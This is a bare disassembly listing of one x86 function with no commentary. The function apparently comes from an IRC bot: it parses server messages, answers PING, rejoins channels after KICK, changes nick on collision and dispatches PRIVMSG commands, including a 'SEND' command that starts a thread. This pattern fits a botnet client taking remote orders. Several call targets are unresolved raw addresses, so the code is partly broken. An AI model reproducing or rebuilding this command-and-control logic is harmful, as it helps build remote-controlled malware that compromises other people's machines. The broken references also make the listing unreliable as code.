var_2ABC	= dword	ptr -2ABCh
var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AAC	= byte ptr -2AACh
var_2994	= byte ptr -2994h
var_2914	= dword	ptr -2914h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= byte ptr -28FCh
var_287C	= byte ptr -287Ch
var_277C	= byte ptr -277Ch
var_267C	= dword	ptr -267Ch
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= byte ptr -2654h
var_25D4	= byte ptr -25D4h
var_24D4	= byte ptr -24D4h
var_23D4	= dword	ptr -23D4h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= byte ptr -23ACh
var_232C	= byte ptr -232Ch
var_22AC	= byte ptr -22ACh
var_222C	= dword	ptr -222Ch
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= byte ptr -2218h
var_2198	= byte ptr -2198h
var_2118	= byte ptr -2118h
var_2098	= dword	ptr -2098h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= byte ptr -2084h
var_2004	= byte ptr -2004h
var_1F84	= byte ptr -1F84h
var_1F04	= dword	ptr -1F04h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= byte ptr -1EF0h
var_1DF0	= byte ptr -1DF0h
var_1D70	= dword	ptr -1D70h
var_1D68	= dword	ptr -1D68h
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D4C	= byte ptr -1D4Ch
var_1D38	= byte ptr -1D38h
var_1C34	= byte ptr -1C34h
var_1BB0	= dword	ptr -1BB0h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B98	= byte ptr -1B98h
var_1B84	= byte ptr -1B84h
var_1A80	= byte ptr -1A80h
var_1A00	= dword	ptr -1A00h
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= byte ptr -19E8h
var_1968	= byte ptr -1968h
var_1928	= byte ptr -1928h
var_1828	= dword	ptr -1828h
var_1824	= dword	ptr -1824h
var_1818	= dword	ptr -1818h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= byte ptr -180Ch
var_17D4	= byte ptr -17D4h
var_17B8	= byte ptr -17B8h
var_1780	= byte ptr -1780h
var_177C	= byte ptr -177Ch
var_16FC	= byte ptr -16FCh
var_16BC	= byte ptr -16BCh
var_162C	= dword	ptr -162Ch
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= byte ptr -1618h
var_1598	= byte ptr -1598h
var_1518	= dword	ptr -1518h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= byte ptr -1508h
var_14F8	= byte ptr -14F8h
var_1478	= byte ptr -1478h
var_13F8	= dword	ptr -13F8h
var_13F0	= dword	ptr -13F0h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= byte ptr -13D8h
var_1358	= byte ptr -1358h
var_12D8	= byte ptr -12D8h
var_1258	= dword	ptr -1258h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1234	= byte ptr -1234h
var_11B4	= byte ptr -11B4h
var_1134	= dword	ptr -1134h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1124	= dword	ptr -1124h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1114	= dword	ptr -1114h
var_1110	= byte ptr -1110h
var_1090	= byte ptr -1090h
var_1010	= dword	ptr -1010h
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1000	= dword	ptr -1000h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= byte ptr -0FECh
var_F6C		= dword	ptr -0F6Ch
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= byte ptr -0F58h
var_ED8		= dword	ptr -0ED8h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= byte ptr -0EC4h
var_E44		= dword	ptr -0E44h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= byte ptr -0E34h
var_E24		= byte ptr -0E24h
var_E04		= byte ptr -0E04h
var_D84		= dword	ptr -0D84h
var_D80		= byte ptr -0D80h
var_D00		= byte ptr -0D00h
var_C80		= dword	ptr -0C80h
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= byte ptr -0C5Ch
var_BDC		= dword	ptr -0BDCh
var_BD8		= dword	ptr -0BD8h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= byte ptr -0A90h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 568Ch
		call	sub_41C500
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41BF70
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BFD0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401F75
		push	esi
		lea	eax, [ebp+var_428C]
		push	ebx
		push	eax
		call	sub_41BF70
		dec	esi
		lea	eax, [ebp+var_428C]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_428C]
		push	offset asc_42CDC4 ; " :"
		push	eax
		call	sub_41C2E0
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_428C]
		push	esi
		push	eax
		lea	eax, [ebp+var_4EF8]
		push	eax
		call	sub_41BFD0
		mov	esi, offset asc_42CDC0 ; " "
		lea	eax, [ebp+var_4EF8]
		push	esi
		push	eax
		call	sub_41CAD4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh


loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401F75
		cmp	[ebp+var_8C], ebx
		jz	loc_401F75
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE


loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi


loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E04]
		push	esi
		push	eax
		call	sub_41BFD0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_C4]
		push	offset asc_42CDBC ; "!"
		push	eax
		call	sub_41CAD4
		add	esp, 20h


loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------


loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097D7
		push	esi
		push	offset a005	; "005"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097D7
		push	esi
		push	offset a302	; "302"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41BFD0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------


loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40AE84
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823


loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch


loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h


loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E04]
		push	eax
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1


loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9A
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E04]
		push	esi
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CD50
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		add	esp, 14h


loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401F75
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401E8D:				; CODE XREF: sub_401ACD+5F6j
					; sub_401ACD+8B9j ...
		push	[ebp+arg_4]
		call	sub_409823
		jmp	loc_404260
; ---------------------------------------------------------------------------


loc_401E9A:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FDD
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_401EC3:				; CODE XREF: sub_401ACD+448j
		lea	eax, [ebp+var_E04]
		push	eax
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F10
		lea	eax, [ebp+var_E04]
		push	21h
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F10
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41C890
		push	[ebp+arg_1C]
		push	edi
		call	sub_41C8A0
		add	esp, 10h
		mov	edi, 80h


loc_401F10:				; CODE XREF: sub_401ACD+407j
					; sub_401ACD+41Ej
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC3
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	short loc_401F75
		cmp	[ebp+arg_24], ebx
		jz	short loc_401F75
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F4D
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41BFD0
		jmp	loc_4036A2
; ---------------------------------------------------------------------------


loc_401F4D:				; CODE XREF: sub_401ACD+46Cj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401F52:				; CODE XREF: sub_401ACD+4A6j
		cmp	[edi], bl
		jz	short loc_401F69
		lea	eax, [ebp+var_E04]
		push	eax
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F7D


loc_401F69:				; CODE XREF: sub_401ACD+487j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F52


loc_401F75:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1


loc_401F77:				; CODE XREF: sub_401ACD+2A1Ej
		pop	eax


loc_401F78:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A40j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401F7D:				; CODE XREF: sub_401ACD+49Aj
		lea	eax, [ebp+var_E04]
		push	21h
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	short loc_401F75
		push	eax
		call	sub_41B9C0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41B9C0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	short loc_401F75
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_45F0]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_401F75
; ---------------------------------------------------------------------------


loc_401FDD:				; CODE XREF: sub_401ACD+3DCj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401FFF
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402026


loc_401FFF:				; CODE XREF: sub_401ACD+51Fj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_402004:				; CODE XREF: sub_401ACD+557j
		cmp	[edi], bl
		jz	short loc_40201A
		push	[ebp+var_90]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402067


loc_40201A:				; CODE XREF: sub_401ACD+539j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402004


loc_402026:				; CODE XREF: sub_401ACD+530j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020C8
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40205A
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40205A:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_80]
		push	offset unk_42CCFC
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_402067:				; CODE XREF: sub_401ACD+54Bj
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CCDC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41CA50
		add	esp, 18h
		test	eax, eax
		jnz	loc_401F75
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_4020C8:				; CODE XREF: sub_401ACD+56Dj
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41CA50
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40211C
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40211C
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644
		cmp	dword_429088, ebx
		jz	loc_409644


loc_40211C:				; CODE XREF: sub_401ACD+615j
					; sub_401ACD+627j
		push	[ebp+var_8C]
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022A2
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022A2
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi


loc_402160:				; CODE XREF: sub_401ACD+891j
					; sub_401ACD+8CDj ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42CCC0
		mov	[ebp+arg_8], eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40253B
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402402
		cmp	[ebp+var_A4], ebx
		jz	loc_4023DB
		push	[ebp+esi+var_88]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_1B84]
		push	edi
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_1B98]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41C266
		push	[ebp+esi+var_80]
		call	sub_41C159
		mov	[ebp+var_1A00],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1BA0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A80]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F4],	eax
		lea	eax, [ebp+var_1A80]
		push	eax
		lea	eax, [ebp+var_1B84]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CC84
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_19FC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1BA0]
		push	ebx
		push	eax
		push	offset loc_416563
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_19FC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	loc_4023CA


loc_40228C:				; CODE XREF: sub_401ACD+7D3j
		cmp	[ebp+var_19F0],	ebx
		jnz	loc_4082DE
		push	32h
		call	near ptr 2680EF8h
		nop
		jmp	short loc_40228C
; ---------------------------------------------------------------------------


loc_4022A2:				; CODE XREF: sub_401ACD+65Fj
					; sub_401ACD+675j
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022BB
		mov	[ebp+var_4], 1


loc_4022BB:				; CODE XREF: sub_401ACD+7E5j
		cmp	[ebp+var_88], ebx
		jz	loc_401F75
		push	offset dword_42CC80
		push	[ebp+var_88]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022E2
		cmp	[ebp+var_4], ebx
		jz	short loc_4022EE


loc_4022E2:				; CODE XREF: sub_401ACD+80Ej
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax


loc_4022EE:				; CODE XREF: sub_401ACD+813j
		cmp	[ebp+var_84], ebx
		jz	loc_401F75
		inc	[ebp+var_84]
		jz	short loc_40233A
		cmp	[ebp+arg_10], ebx
		jz	short loc_40233A
